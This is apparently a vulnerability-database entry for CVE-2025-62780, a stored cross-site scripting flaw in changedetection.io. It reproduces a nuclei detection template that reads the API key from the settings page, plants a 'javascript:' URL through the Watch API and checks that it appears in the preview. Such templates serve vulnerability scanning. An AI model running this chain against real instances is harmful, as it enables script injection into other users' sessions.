Lucene search
+L

ChangeDetection.io <= v0.50.33 - Stored XSS via Watch API

🗓️ 18 Aug 2026 02:59:29Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 40 Views

Stored XSS in ChangeDetection.io <= v0.50.33 via the Watch API; requires user interaction.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2025-62780
10 Nov 202509:53
circl
cnnvd
CNNVD
changedetection.io 跨站脚本漏洞
10 Nov 202500:00
cnnvd
cve
CVE
CVE-2025-62780
10 Nov 202521:18
cve
cvelist
Cvelist
CVE-2025-62780 changedetection.io vulnerable to stored XSS in Watch update via API
10 Nov 202521:18
cvelist
euvd
EUVD
EUVD-2025-50820
12 Nov 202521:24
euvd
github
Github Security Blog
changedetection.io: Stored XSS in Watch update via API
12 Nov 202521:24
github
nvd
NVD
CVE-2025-62780
10 Nov 202522:15
nvd
osv
OSV
GHSA-4C3J-3H7V-22Q9 changedetection.io: Stored XSS in Watch update via API
12 Nov 202521:24
osv
osv
OSV
PYSEC-2025-91
10 Nov 202522:15
osv
ptsecurity
Positive Technologies
PT-2025-46200
10 Nov 202500:00
ptsecurity
Rows per page
id: CVE-2025-62780

info:
  name: ChangeDetection.io <= v0.50.33 - Stored XSS via Watch API
  author: 0x_Akoko
  severity: medium
  description: |
    changedetection.io <= 0.50.34 contains a stored cross site scripting caused by insufficient security checks in the Watch update API, letting attackers execute arbitrary JavaScript when users preview malicious links, exploit requires user interaction
  impact: |
    Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing data or performing actions on behalf of the user.
  remediation: |
    Update to version 0.50.34 or later.
  reference:
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4c3j-3h7v-22q9
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62780
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 6.2
    cve-id: CVE-2025-62780
    epss-score: 0.00435
    epss-percentile: 0.36197
    cwe-id: CWE-79
  metadata:
    max-request: 4
    verified: true
    shodan-query: title:"Change Detection"
    fofa-query: title="Change Detection"
  tags: cve,cve2025,changedetection,xss,stored,api

variables:
  string: "{{to_lower('{{randstr}}')}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Change Detection", "changedetection.io")'
          - 'compare_versions(version, "<= 0.50.33")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - 'id="right-sticky">v([0-9.]+)<'

      - type: xpath
        name: watch_uuid
        part: body
        internal: true
        attribute: id
        xpath:
          - "//table[contains(@class,'watch-table')]//tbody/tr[1]"

  - raw:
      - |
        GET /settings HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "api-key")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: api_key
        part: body
        internal: true
        group: 1
        regex:
          - 'id="api-key">([a-f0-9]+)</span>'

  - raw:
      - |
        PUT /api/v1/watch/{{watch_uuid}} HTTP/1.1
        Host: {{Hostname}}
        x-api-key: {{api_key}}
        Content-Type: application/json

        {"url":"javascript:alert(document.domain)","title":"{{string}}","paused":true}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "OK")'
        condition: and
        internal: true

  - raw:
      - |
        GET /preview/{{watch_uuid}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "javascript:alert(document.domain)", "{{string}}")'
        condition: and
# digest: 4b0a00483046022100fdc90bf5a040ee8fc53980f87873872144b429cb9030a94203288433aee496cd022100d30f960dbc1e42cd8105479aeecca868d38bc6d732fe3d1f178ad78891384901:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Feb 2026 04:44Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.13.5 - 5.4
EPSS0.00435
SSVC
40